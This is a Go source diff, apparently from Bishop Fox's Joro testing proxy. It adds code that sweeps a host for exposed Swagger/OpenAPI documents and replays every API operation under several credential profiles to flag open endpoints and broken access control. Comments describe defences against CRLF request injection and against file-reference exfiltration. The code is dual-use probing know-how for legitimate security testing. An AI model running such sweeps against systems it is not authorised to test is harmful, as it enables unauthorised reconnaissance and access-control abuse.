// Each slot knows its position before anything fills it: a run is read while
// still going, and an unfilled slot carrying index 0 would claim row 0.
for i := range out {
out[i].Index = i
}
return out
}
// Status reports the run's state.
func (r *Run) Status() Status {
r.mu.RLock()
defer r.mu.RUnlock()
return r.status
}
// Counts reports progress.
func (r *Run) Counts() (completed, errors, skipped, hits int) {
r.mu.RLock()
defer r.mu.RUnlock()
return r.completed, r.errors, r.skipped, r.hits
}
// Results returns a copy of the result slice with raw bodies stripped, which is
// what every list endpoint wants; raws are fetched one at a time by index.
func (r *Run) Results() []Result {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]Result, len(r.results))
for i, res := range r.results {
res.ReqRaw, res.RespRaw = nil, nil
out[i] = res
}
return out
}
// ResultAt returns one result including its raw bodies.
func (r *Run) ResultAt(i int) (Result, bool) {
r.mu.RLock()
defer r.mu.RUnlock()
if i < 0 || i >= len(r.results) {
return Result{}, false
}
return r.results[i], true
}
// setResult stores one outcome and advances the counters.
//
// Takes a pointer because the caller broadcasts the same value it stored, and
// Index is the only thing addressing a row: stamping it on a copy would leave
// every emitted result at index 0, collapsing a whole run onto one row in the
// client. The signature is what carries that obligation to the next caller.
func (r *Run) setResult(i int, res *Result) {
r.mu.Lock()
defer r.mu.Unlock()
if i < 0 || i >= len(r.results) {
return
}
res.Index = i
r.results[i] = *res
r.completed++
switch {
case res.Error != "":
r.errors++
case res.Skipped != "":
r.skipped++
}
if res.BodyKind == apispec.KindSpec {
r.hits++
}
}
// appendResult stores an outcome whose index is not known in advance, which is
// discovery's shape: a followed reference is found mid-run, not enumerated.
// Pointer for the reason setResult is.
func (r *Run) appendResult(res *Result) {
r.mu.Lock()
defer r.mu.Unlock()
res.Index = len(r.results)
r.results = append(r.results, *res)
r.completed++
if res.Error != "" {
r.errors++
}
if res.BodyKind == apispec.KindSpec {
r.hits++
}
if r.completed > r.Total {
r.Total = r.completed
}
}
// noteChallenge counts a WAF interstitial and reports whether the run should
// give up. The counter lives on the Run rather than in a package variable, so
// two concurrent runs cannot exhaust each other's budget — sj keeps the
// equivalent as package state.
func (r *Run) noteChallenge() bool {
r.mu.Lock()
defer r.mu.Unlock()
r.challenges++
return r.challenges >= ChallengeLimit
}
func (r *Run) finish(s Status) {
r.mu.Lock()
defer r.mu.Unlock()
if r.status == StatusRunning {
r.status = s
}
}
// Stop cancels a running run.
func (r *Run) Stop() bool {
r.mu.Lock()
cancel := r.cancel
running := r.status == StatusRunning
if running {
r.status = StatusStopped
}
r.mu.Unlock()
if cancel != nil {
cancel()
}
return running
}
func (r *Run) setCancel(cancel context.CancelFunc) {
r.mu.Lock()
defer r.mu.Unlock()
r.cancel = cancel
}
// Deps is what a run needs from the host process.
type Deps struct {
// Send carries the proxy address, CA and capture store. Claims is filled in
// per run by Execute; a caller must not share one across runs.
Send httptools.SendDeps
// Broadcast is the hub's channel. It is chan<- any, matching
// api.Hub.Broadcast and fuzzer.Run, and carries event.WSEvent values.
Broadcast chan<- any
}
// clampInt keeps a client-supplied knob inside its bounds.
func clampInt(v, def, lo, hi int) int {
if v == 0 {
return def
}
if v < lo {
return lo
}
if v > hi {
return hi
}
return v
}
+315
View File
@@ -0,0 +1,315 @@
package apiscan
import (
"context"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/httptools"
)
// PlanDiscovery builds the candidate list and validates the target.
func PlanDiscovery(cfg Config) ([]string, error) {
// The same rule the render path applies. Discovery builds its probes by
// concatenation, so without this it is the one send path with no guard on
// where it points.
if err := apispec.ValidateHost(cfg.Host); err != nil {
return nil, err
}
scheme := strings.ToLower(cfg.Scheme)
if scheme != "http" && scheme != "https" {
return nil, fmt.Errorf("scheme must be http or https")
}
paths := apispec.CandidatePaths(cfg.BasePath, cfg.CandidateSet)
if len(paths) == 0 {
return nil, fmt.Errorf("no candidates to try")
}
return paths, nil
}
// Discover sweeps a host for API description documents.
//
// Two differences from sj's brute, both deliberate. It reports every document it
// finds rather than stopping at the first: a tab has a list, and a target
// routinely serves /v2/api-docs alongside /v3/api-docs, or a public document
// beside an internal one, and the second is often the interesting one. And a
// reference discovered in a page is followed only when it stays on the run's own
// host — sj resolves any absolute reference, which lets a page the target
// controls redirect the sweep onto a third party.
func Discover(ctx context.Context, run *Run, paths []string, d Deps, onSpec func(*apispec.Spec, []byte)) {
cfg := run.Config
conc := clampInt(cfg.Concurrency, DefaultDiscoveryConcurrency, 1, MaxConcurrency)
perItem := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
var limiter <-chan time.Time
if cfg.RatePerSec > 0 {
rate := min(cfg.RatePerSec, MaxRatePerSec)
tick := time.NewTicker(time.Duration(float64(time.Second) / rate))
defer tick.Stop()
limiter = tick.C
}
sendDeps := d.Send
sendDeps.Claims = httptools.NewClaimSet()
origin := cfg.Scheme + "://" + cfg.Host
start := time.Now()
broadcast(d, "spec.run.started", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "total": run.Total, "host": cfg.Host,
})
// seen guards both the enumerated candidates and anything followed out of a
// page, so a reference back to a path already tried costs nothing.
var seenMu sync.Mutex
seen := map[string]bool{}
follows := 0
claimFollow := func(u string) bool {
seenMu.Lock()
defer seenMu.Unlock()
if seen[u] || follows >= MaxDiscoveryFollows {
return false
}
seen[u] = true
follows++
return true
}
var stopped bool
var stopOnce sync.Once
halt := func(reason string) {
stopOnce.Do(func() {
stopped = true
broadcast(d, "spec.run.warning", map[string]any{
"runId": run.ID, "kind": "challenge", "detail": reason,
})
cancel()
})
}
// Declared before assignment because it follows references by calling itself.
var probe func(target string, depth int)
probe = func(target string, depth int) {
if runCtx.Err() != nil {
return
}
raw := "GET " + pathOf(target) + " HTTP/1.1\r\nHost: " + cfg.Host + "\r\n" +
"User-Agent: " + apispec.UserAgentOr(cfg.UserAgent) + "\r\n" +
"Accept: application/json, text/yaml, text/html, */*\r\n\r\n"
itemCtx, itemCancel := context.WithTimeout(runCtx, perItem)
sent, err := httptools.SendViaProxy(itemCtx, []byte(raw), cfg.Scheme, cfg.Host, sendDeps)
itemCancel()
res := Result{URL: target, Method: "GET", Path: pathOf(target)}
if err != nil {
res.Error = shortErr(err)
res.Triage = TriageWarn
res.BodyKind = apispec.KindNone
run.appendResult(&res)
emitResult(d, run, res)
return
}
applyFingerprint(&res, sent)
body := bodyOf(sent.RespRaw)
switch {
case apispec.LooksLikeChallenge(body):
res.BodyKind = apispec.KindChallenge
if run.noteChallenge() {
halt("the target is answering with a bot-check interstitial; further requests would learn nothing")
}
case apispec.ShouldSkipContentType(res.ContentType):
res.BodyKind = apispec.KindSkip
default:
res.BodyKind = classify(body, res.ContentType, target, run, d, onSpec, &res)
}
run.appendResult(&res)
emitResult(d, run, res)
// Follow references out of a UI page or an initializer.
if depth < MaxFollowDepth && (res.BodyKind == apispec.KindReference || res.BodyKind == apispec.KindNone) {
for _, ref := range apispec.ExtractSpecRefs(body, target) {
// Same-host only, and that is the whole guard. A reference
// off-origin is a scope escape, not a discovery — including the
// public sample document Swagger UI ships as its stock default,
// which is the case a separate demo-host filter used to catch.
// Such a filter is worse than redundant here: it can only ever be
// reached by a same-origin reference, so the one time it fires is
// when the operator is deliberately sweeping a sample host, and it
// refuses to follow that host's own initializer.
if !apispec.SameHost(ref, origin) {
continue
}
if !claimFollow(ref) {
continue
}
probe(ref, depth+1)
}
}
}
work := make(chan string, conc)
var wg sync.WaitGroup
for range conc {
wg.Add(1)
go func() {
defer wg.Done()
for target := range work {
if limiter != nil {
select {
case <-runCtx.Done():
return
case <-limiter:
}
}
if runCtx.Err() != nil {
return
}
probe(target, 0)
if cfg.StopOnFirst {
if _, _, _, hits := run.Counts(); hits > 0 {
cancel()
return
}
}
}
}()
}
for _, p := range paths {
full := origin + p
seenMu.Lock()
dup := seen[full]
seen[full] = true
seenMu.Unlock()
if dup {
continue
}
select {
case work <- full:
case <-runCtx.Done():
}
if runCtx.Err() != nil {
break
}
}
close(work)
wg.Wait()
if stopped {
run.finish(StatusStopped)
}
finishRun(d, run, start)
}
// classify decides what one discovery response turned out to be, loading any
// document it finds.
func classify(
body []byte, contentType, target string, run *Run, d Deps,
onSpec func(*apispec.Spec, []byte), res *Result,
) apispec.BodyKind {
if res.Status < 200 || res.Status >= 400 || len(body) == 0 {
return apispec.KindNone
}
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") || apispec.LooksLikeHTMLDocument(body)
if isHTML {
return apispec.KindReference
}
candidate := body
isJS := strings.Contains(strings.ToLower(contentType), "javascript") ||
strings.HasSuffix(strings.ToLower(pathOf(target)), ".js")
if isJS {
if !apispec.LooksLikeSwaggerInit(target) {
return apispec.KindSkip
}
unwrapped, ok := apispec.UnwrapJSSpec(body)
if !ok {
return apispec.KindReference
}
candidate = unwrapped
}
// Default placeholders, deliberately: a sweep parses a candidate only to
// report its title and operation count, neither of which depends on a
// generated value. The operator sets placeholders on the document once it is
// the one they are working, which re-parses it.
spec, err := apispec.ParseOpenAPI(candidate, apispec.Options{SourceURL: target})
if err != nil {
// Document-shaped but unparseable is still worth surfacing: it is
// frequently a truncated or auth-gated document, and the operator can
// judge. sj discards these silently.
if looksDocumentShaped(candidate) {
return apispec.KindWeak
}
return apispec.KindNone
}
if len(spec.Operations) == 0 {
return apispec.KindWeak
}
res.SpecTitle = spec.Title
res.SpecFormat = string(spec.Format)
res.SpecOps = len(spec.Operations)
if onSpec != nil {
onSpec(spec, candidate)
}
return apispec.KindSpec
}
// looksDocumentShaped reports whether bytes mention a version token at all, so a
// near-miss can be told from an unrelated 200.
func looksDocumentShaped(body []byte) bool {
window := body
if len(window) > 4096 {
window = window[:4096]
}
s := strings.ToLower(string(window))
return strings.Contains(s, "\"swagger\"") || strings.Contains(s, "\"openapi\"") ||
strings.Contains(s, "swagger:") || strings.Contains(s, "openapi:")
}
// bodyOf splits the body out of a raw response.
func bodyOf(raw []byte) []byte {
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[i+2:]
}
return nil
}
func pathOf(rawURL string) string {
u, err := url.Parse(rawURL)
if err != nil || u.Path == "" {
return "/"
}
// EscapedPath, not Path: url.Parse percent-decodes into Path, and a followed
// reference carrying %0d%0a would come back as a real CRLF — straight into
// the request line below.
p := u.EscapedPath()
if u.RawQuery != "" {
p += "?" + u.RawQuery
}
for i := 0; i < len(p); i++ {
if p[i] <= 0x20 || p[i] >= 0x7f {
return "/"
}
}
return p
}
+216
View File
@@ -0,0 +1,216 @@
package apiscan
import (
"sort"
"strings"
)
// Verdict is what one operation's row across every profile amounts to.
type Verdict string
const (
// VerdictOpen means the least-privileged profile — normally anonymous —
// was served. This is the single most valuable thing the matrix finds, and
// it needs no comparison at all.
VerdictOpen Verdict = "open"
// VerdictBroken means a lower-privileged profile got the same response a
// higher-privileged one did, while some profile below it was refused. That
// is broken access control: the endpoint distinguishes *some* callers, so it
// is not simply public, but it fails to distinguish the one that matters.
VerdictBroken Verdict = "broken"
// VerdictDenied means every profile was refused.
VerdictDenied Verdict = "denied"
// VerdictExpected means authorization rises with privilege, as intended.
VerdictExpected Verdict = "expected"
// VerdictError means a cell could not be evaluated.
VerdictError Verdict = "error"
)
// Cell is one operation under one profile.
type Cell struct {
ProfileID string `json:"profileId"`
Rank int `json:"rank"`
Status int `json:"status"`
Len int `json:"len"`
BodyHash string `json:"bhash,omitempty"`
StructHash string `json:"shash,omitempty"`
DurationMs int64 `json:"ms"`
Seq int `json:"seq"`
RequestID string `json:"requestId,omitempty"`
Triage Triage `json:"triage"`
Index int `json:"index"`
Error string `json:"error,omitempty"`
Skipped string `json:"skipped,omitempty"`
}
// Row is one operation across every profile, in ascending privilege order.
type Row struct {
OpID string `json:"opId"`
Method string `json:"method"`
Path string `json:"path"`
Cells []Cell `json:"cells"`
Verdict Verdict `json:"verdict"`
Detail string `json:"detail,omitempty"`
}
// MatrixView is the pivoted result.
type MatrixView struct {
RunID string `json:"runId"`
Profiles []Profile `json:"profiles"`
Rows []Row `json:"rows"`
Summary map[string]int `json:"summary"`
Interesting []string `json:"interesting"`
}
// Matrix pivots a run's results into the operations-by-profiles grid and
// computes each row's verdict.
//
// The verdict is computed here rather than in the client for the reason
// httptools.renderBatch states about its outliers line: the answer is
// precomputed and the table is corroboration. Deciding it in TypeScript would
// put privilege comparison in two places and create a keep-in-sync pair nobody
// maintains.
func Matrix(run *Run) MatrixView {
cfg := run.Config
results := run.Results()
// Profiles are compared in privilege order, which is what makes "a lower
// rank reached what only a higher rank should" a statement about privilege
// rather than about two arbitrary credential sets.
order := make([]int, len(cfg.Profiles))
for i := range order {
order[i] = i
}
sort.SliceStable(order, func(a, b int) bool {
return cfg.Profiles[order[a]].Rank < cfg.Profiles[order[b]].Rank
})
ordered := make([]Profile, len(order))
for i, idx := range order {
ordered[i] = cfg.Profiles[idx]
}
// Materialized rather than left nil: a nil slice marshals as null, and the
// client's type says array. See apispec.Spec.normalize for the rule.
view := MatrixView{
RunID: run.ID, Profiles: ordered,
Rows: []Row{}, Interesting: []string{}, Summary: map[string]int{},
}
if len(cfg.Profiles) == 0 {
return view
}
for opIdx := range cfg.Ops {
op := cfg.Ops[opIdx]
row := Row{OpID: op.ID, Method: op.Method, Path: op.Path, Cells: []Cell{}}
for _, profIdx := range order {
idx := opIdx*len(cfg.Profiles) + profIdx
if idx >= len(results) {
continue
}
r := results[idx]
row.Cells = append(row.Cells, Cell{
ProfileID: cfg.Profiles[profIdx].ID, Rank: cfg.Profiles[profIdx].Rank,
Status: r.Status, Len: r.Len, BodyHash: r.BodyHash, StructHash: r.StructHash,
DurationMs: r.DurationMs, Seq: r.Seq, RequestID: r.RequestID,
Triage: r.Triage, Index: r.Index, Error: r.Error, Skipped: r.Skipped,
})
}
row.Verdict, row.Detail = verdictFor(row.Cells)
view.Summary[string(row.Verdict)]++
if row.Verdict == VerdictOpen || row.Verdict == VerdictBroken {
view.Interesting = append(view.Interesting, op.ID)
}
view.Rows = append(view.Rows, row)
}
return view
}
// verdictFor classifies one row. Cells arrive in ascending privilege order.
func verdictFor(cells []Cell) (Verdict, string) {
var usable []Cell
firstErr := ""
for _, c := range cells {
if c.Error != "" {
// Held, not returned: a failure in a privileged column must not bury
// "anonymous was served", which needs no comparison. Still an error
// for every rule that does need the whole row.
if firstErr == "" {
firstErr = c.Error
}
continue
}
if c.Skipped != "" {
continue
}
// A slot that has not been filled yet is the zero Result: no error, no
// skip reason, and an empty Triage. Treating it as usable would walk it
// past every rule below and land on VerdictExpected — reporting an
// operation that was never sent as correctly authorized. For a grid whose
// whole purpose is finding access-control failures, failing open is the
// wrong direction, and GET /runs/{id}/matrix can be called mid-run.
if c.Triage == "" {
return VerdictError, "this operation has not been sent yet"
}
usable = append(usable, c)
}
if len(usable) == 0 {
if firstErr != "" {
return VerdictError, "a request could not be completed: " + firstErr
}
return VerdictError, "no request was sent for this operation"
}
// The least-privileged profile being served needs no comparison. cells[0],
// not usable[0]: if the anonymous column is the one that errored, usable[0]
// holds credentials and calling its 200 "open" invents a finding.
if len(cells) > 0 && cells[0].Error == "" && cells[0].Skipped == "" && cells[0].Triage == TriageGood {
return VerdictOpen, "the least-privileged profile was served"
}
if firstErr != "" {
return VerdictError, "a request could not be completed: " + firstErr
}
allDenied := true
for _, c := range usable {
if c.Triage != TriageBad {
allDenied = false
break
}
}
if allDenied {
return VerdictDenied, "every profile was refused"
}
// Broken access control: the most-privileged profile was served, a
// less-privileged one got a structurally identical response, and something
// below that was refused.
//
// StructHash rather than status and length is what makes this work. Two
// renderings of one page carrying different CSRF tokens have different
// lengths and different body hashes but the same struct hash, so a
// length comparison misses the finding and a body comparison flags every
// row.
top := usable[len(usable)-1]
if top.Triage == TriageGood && top.StructHash != "" {
for i := 0; i < len(usable)-1; i++ {
lower := usable[i]
if lower.Triage != TriageGood || lower.StructHash != top.StructHash {
continue
}
for j := 0; j < i; j++ {
if usable[j].Triage == TriageBad {
return VerdictBroken, strings.Join([]string{
"profile", lower.ProfileID, "received the same response as", top.ProfileID,
"while", usable[j].ProfileID, "was refused",
}, " ")
}
}
}
}
return VerdictExpected, ""
}
+272
View File
@@ -0,0 +1,272 @@
package apiscan
import (
"context"
"fmt"
"slices"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/httptools"
)
// Plan reports how many requests a config will send, and refuses one that is
// too large before any of it goes on the wire.
func Plan(cfg Config) (int, error) {
if len(cfg.Ops) == 0 {
return 0, fmt.Errorf("no operations selected")
}
if len(cfg.Profiles) == 0 {
return 0, fmt.Errorf("no auth profiles selected; use a single empty profile for an unauthenticated scan")
}
if len(cfg.Profiles) > MaxProfiles {
return 0, fmt.Errorf("%d profiles exceeds the limit of %d", len(cfg.Profiles), MaxProfiles)
}
total := len(cfg.Ops) * len(cfg.Profiles)
if total > MaxRequestsPerRun {
return 0, fmt.Errorf(
"%d operations x %d profiles is %d requests, over the %d-request limit; "+
"select fewer operations, or drive Joro's fuzzer from the Fuzz tab for a run that size",
len(cfg.Ops), len(cfg.Profiles), total, MaxRequestsPerRun)
}
return total, nil
}
// Execute runs a scan or a matrix.
//
// The shape mirrors httptools.Batch: one shared ticker as the rate limiter, a
// channel of indices, N workers, one claim set for the whole run, and results
// written into pre-sized slots by index rather than appended. Batch's own doc
// comment records that duplicating this shape is the repo's answer to the
// fuzzer's runner not being extractable, and the same reasoning applies here.
func Execute(ctx context.Context, run *Run, d Deps) {
cfg := run.Config
conc := clampInt(cfg.Concurrency, DefaultConcurrency, 1, MaxConcurrency)
perItem := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
var limiter <-chan time.Time
if cfg.RatePerSec > 0 {
rate := min(cfg.RatePerSec, MaxRatePerSec)
tick := time.NewTicker(time.Duration(float64(time.Second) / rate))
defer tick.Stop()
limiter = tick.C
}
// One claim set for the run, so two workers finishing at once cannot
// correlate their sends to the same History row. In a matrix this is not an
// edge case: two profiles hitting one operation often produce byte-identical
// responses, which is exactly when correlate falls through to claim order.
sendDeps := d.Send
sendDeps.Claims = httptools.NewClaimSet()
methods := cfg.Methods
if len(methods) == 0 {
methods = apispec.DefaultMethods()
}
start := time.Now()
broadcast(d, "spec.run.started", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "total": run.Total,
"profiles": profileSummaries(cfg.Profiles),
})
total := len(cfg.Ops) * len(cfg.Profiles)
work := make(chan int, conc)
var wg sync.WaitGroup
for range conc {
wg.Add(1)
go func() {
defer wg.Done()
for idx := range work {
opIdx := idx / len(cfg.Profiles)
profIdx := idx % len(cfg.Profiles)
op := &cfg.Ops[opIdx]
profile := cfg.Profiles[profIdx]
res := Result{
OpID: op.ID, ProfileID: profile.ID,
Method: op.Method, Path: op.Path,
}
// The safety gate. A skipped item still fills its slot, so the
// client can correlate every row back to what it asked for and can
// see why one was not sent.
if !slices.Contains(methods, strings.ToUpper(op.Method)) {
res.Skipped = "method"
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
if op.Destructive && !cfg.AllowDestructive {
res.Skipped = "destructive"
res.Note = strings.Join(op.DestructiveReasons, ", ")
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
if limiter != nil {
select {
case <-runCtx.Done():
res.Skipped = "budget"
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
case <-limiter:
}
}
if runCtx.Err() != nil {
res.Skipped = "budget"
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
raw, target, err := apispec.Render(op, cfg.Server, cfg.Values[op.ID], profile.Auth,
apispec.RenderOptions{UserAgent: cfg.UserAgent})
if err != nil {
res.Skipped = "render"
res.Error = err.Error()
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
res.URL = target.Scheme + "://" + target.Host + target.Path
res.ReqPath = target.Path
res.ReqRaw = raw
itemCtx, itemCancel := context.WithTimeout(runCtx, perItem)
sent, err := httptools.SendViaProxy(itemCtx, raw, target.Scheme, target.Host, sendDeps)
itemCancel()
if err != nil {
res.Error = shortErr(err)
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
applyFingerprint(&res, sent)
run.setResult(idx, &res)
emitResult(d, run, res)
}
}()
}
for i := range total {
select {
case work <- i:
case <-runCtx.Done():
// Fill the rest so the client is not left waiting on rows that will
// never arrive.
for j := i; j < total; j++ {
op := &cfg.Ops[j/len(cfg.Profiles)]
res := Result{
Skipped: "budget", Triage: TriageWarn,
OpID: op.ID, Method: op.Method, Path: op.Path,
ProfileID: cfg.Profiles[j%len(cfg.Profiles)].ID,
}
run.setResult(j, &res)
emitResult(d, run, res)
}
close(work)
wg.Wait()
finishRun(d, run, start)
return
}
}
close(work)
wg.Wait()
finishRun(d, run, start)
}
// applyFingerprint copies a send's outcome onto a result.
//
// FingerprintResponse rather than status and length: StructHash folds out CSRF
// tokens, timestamps, UUIDs and nonces, which is what stops an auth matrix
// flagging every row where two renderings of one page differ only in a nonce.
func applyFingerprint(res *Result, sent *httptools.ProxySendResult) {
fp := httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false)
res.Seq = sent.Seq
res.RequestID = sent.RequestID
res.SeqNote = sent.SeqNote
res.Status = fp.Status
res.Len = fp.Len
res.DurationMs = fp.DurationMs
res.BodyHash = fp.BodyHash
res.StructHash = fp.StructHash
res.Words = fp.Words
res.Lines = fp.Lines
res.Note = fp.Note
res.ContentType = fp.CT
res.RespRaw = sent.RespRaw
res.Triage = TriageOf(fp.Status, "")
}
func finishRun(d Deps, run *Run, start time.Time) {
status := StatusComplete
if run.Status() == StatusStopped {
status = StatusStopped
}
run.finish(status)
completed, errs, skipped, hits := run.Counts()
broadcast(d, "spec.run.complete", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "status": string(run.Status()),
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
"durationMs": time.Since(start).Milliseconds(),
})
}
// emitResult sends one row.
//
// Blocking, from the run's own goroutine, like fuzzer.result: Hub.Subscribe fans
// out to in-process consumers without blocking, so a slow subscriber cannot
// stall the run, and sending blocking here is what keeps the client's row count
// agreeing with the run's total.
func emitResult(d Deps, run *Run, res Result) {
res.ReqRaw, res.RespRaw = nil, nil
broadcast(d, "spec.run.result", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "result": res,
})
}
func broadcast(d Deps, typ string, data map[string]any) {
if d.Broadcast == nil {
return
}
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
}
func profileSummaries(profiles []Profile) []map[string]any {
out := make([]map[string]any, 0, len(profiles))
for _, p := range profiles {
out = append(out, map[string]any{"id": p.ID, "label": p.Label, "rank": p.Rank})
}
return out
}
func shortErr(err error) string {
msg := err.Error()
if i := strings.LastIndex(msg, ": "); i > 0 && len(msg)-i < 60 {
return msg[i+2:]
}
if len(msg) > 120 {
return msg[:120]
}
return msg
}
+195
View File
@@ -0,0 +1,195 @@
package apiscan
import (
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
)
// Store holds runs in memory, bounded like fuzzer.Store. Runs are session state
// and never reach the project file.
type Store struct {
mu sync.RWMutex
runs []*Run
max int
}
// NewStore creates an empty run store.
func NewStore() *Store { return &Store{max: MaxRuns} }
// Add registers a run, evicting the oldest finished one when full. A running run
// is never evicted: its workers hold a pointer to it, and dropping it from the
// store would only make it unreachable, not stop it.
func (s *Store) Add(r *Run) {
s.mu.Lock()
defer s.mu.Unlock()
if len(s.runs) >= s.max {
for i, old := range s.runs {
if old.Status() != StatusRunning {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
break
}
}
}
s.runs = append(s.runs, r)
}
// Get returns a run by ID, or nil.
func (s *Store) Get(id string) *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.ID == id {
return r
}
}
return nil
}
// List returns every run, newest first.
func (s *Store) List() []*Run {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*Run, len(s.runs))
for i, r := range s.runs {
out[len(s.runs)-1-i] = r
}
return out
}
// Delete removes a run, reporting whether it was found.
func (s *Store) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, r := range s.runs {
if r.ID == id {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
return true
}
}
return false
}
// StoredSpec is a parsed document plus where it came from.
type StoredSpec struct {
Spec *apispec.Spec `json:"spec"`
LoadedAt time.Time `json:"loadedAt"`
// Source is the original bytes, kept so the operator can read the document
// they are working against. It is served by its own endpoint rather than
// riding on every spec response, because it is routinely megabytes.
Source []byte `json:"-"`
}
// SpecStore holds parsed documents and the auth profiles defined against them.
//
// In memory only. A document fetched by URL went through the proxy and is
// therefore already in History, so persisting it would store it twice; and
// profiles hold credentials, which is why webhooks.json's secrets are kept out
// of the project file too.
type SpecStore struct {
mu sync.RWMutex
specs []*StoredSpec
profiles map[string][]Profile // keyed by spec ID
max int
}
// NewSpecStore creates an empty spec store.
func NewSpecStore() *SpecStore {
return &SpecStore{profiles: map[string][]Profile{}, max: MaxSpecs}
}
// Put stores a parsed document, replacing an existing one with the same ID. The
// ID is a hash of the source bytes, so re-loading an unchanged document keeps
// the profiles already defined against it.
//
// The same ID does not imply the same generated defaults: one source parsed
// under two sets of apispec.Placeholders yields two Specs sharing an ID, and the
// last Put wins. Anything that re-parses stored source therefore has to mean it
// — which is why discovery only Puts a document not already held.
func (s *SpecStore) Put(spec *apispec.Spec, source []byte) {
s.mu.Lock()
defer s.mu.Unlock()
for i, existing := range s.specs {
if existing.Spec.ID == spec.ID {
// Moved to the back, not updated in place. Eviction below takes
// specs[0], so position is the eviction order; refreshing LoadedAt
// without moving the entry left a document the operator reloads
// constantly still first in line to be dropped — out from under the
// tab still using it, whose every later render and scan then 404s.
s.specs = append(append(s.specs[:i:i], s.specs[i+1:]...),
&StoredSpec{Spec: spec, Source: source, LoadedAt: time.Now()})
return
}
}
if len(s.specs) >= s.max {
evicted := s.specs[0]
delete(s.profiles, evicted.Spec.ID)
s.specs = s.specs[1:]
}
s.specs = append(s.specs, &StoredSpec{Spec: spec, Source: source, LoadedAt: time.Now()})
}
// Get returns a stored document by ID, or nil.
func (s *SpecStore) Get(id string) *StoredSpec {
s.mu.RLock()
defer s.mu.RUnlock()
for _, stored := range s.specs {
if stored.Spec.ID == id {
return stored
}
}
return nil
}
// List returns every stored document, newest first.
func (s *SpecStore) List() []*StoredSpec {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*StoredSpec, len(s.specs))
for i, stored := range s.specs {
out[len(s.specs)-1-i] = stored
}
return out
}
// Delete removes a document and the profiles defined against it.
func (s *SpecStore) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, stored := range s.specs {
if stored.Spec.ID == id {
s.specs = append(s.specs[:i], s.specs[i+1:]...)
delete(s.profiles, id)
return true
}
}
return false
}
// SetProfiles replaces the profile set for one document.
func (s *SpecStore) SetProfiles(specID string, profiles []Profile) {
s.mu.Lock()
defer s.mu.Unlock()
s.profiles[specID] = profiles
}
// Profiles returns a copy of the profile set for one document, credentials
// included. Callers that serialize these must strip Auth; it is json:"-" so the
// encoder does that on its own.
func (s *SpecStore) Profiles(specID string) []Profile {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]Profile, len(s.profiles[specID]))
copy(out, s.profiles[specID])
return out
}
// Clear drops every document and profile, for a project switch.
func (s *SpecStore) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.specs = nil
s.profiles = map[string][]Profile{}
}
+418
View File
@@ -0,0 +1,418 @@
// Package apispec parses API description documents into one normalized model and
// projects that model into raw HTTP requests.
//
// The parsing and placeholder-value approach is ported from BishopFox's sj
// (github.com/BishopFox/sj), which audits exposed Swagger/OpenAPI documents by
// building a request for every declared operation. See the notes on individual
// functions for the places this deliberately diverges.
//
// # The spec is the editing document; the raw request is the executable truth
//
// Nothing here sends. Render takes no context.Context and this package imports
// nothing that can open a socket, so that is structural rather than a
// convention. Render turns one operation plus a set of values into the exact
// bytes that go on the wire, and those bytes are what the operator sees, edits,
// and hands to the senders that already exist.
//
// The consequence is the point: because a spec-driven request is just bytes,
// scope, Match & Replace, Custom Data and intercept all apply to it without this
// package knowing they exist, and a spec-driven request can be handed to the
// request workbench or the fuzzer with nothing lost in translation. A send path
// private to the spec tab is what would break it.
//
// # A $ref never reaches the filesystem
//
// sj resolves external file references ("./schemas/user.yaml#/User") off local
// disk. There, the document is a file the operator chose. Here, a document is
// routinely fetched from a target and is therefore attacker-controlled, and
// following a file reference would not merely be arbitrary file read: the value
// read is rendered into a request body and sent to a host the same document
// chose, which makes it exfiltration. Local "#/..." pointers only. Everything
// else is refused and reported as a Diagnostic.
//
// # A document always parses to something
//
// Parse errors are reserved for input that is not a document at all. Everything
// survivable — a refused reference, a dangling pointer, a cycle, an exhausted
// budget, a duplicate key — degrades that one schema and appends a Diagnostic.
// An operator reading a 400 from a generated request needs to know the body came
// from a schema that could not be fully resolved; the alternative is assuming the
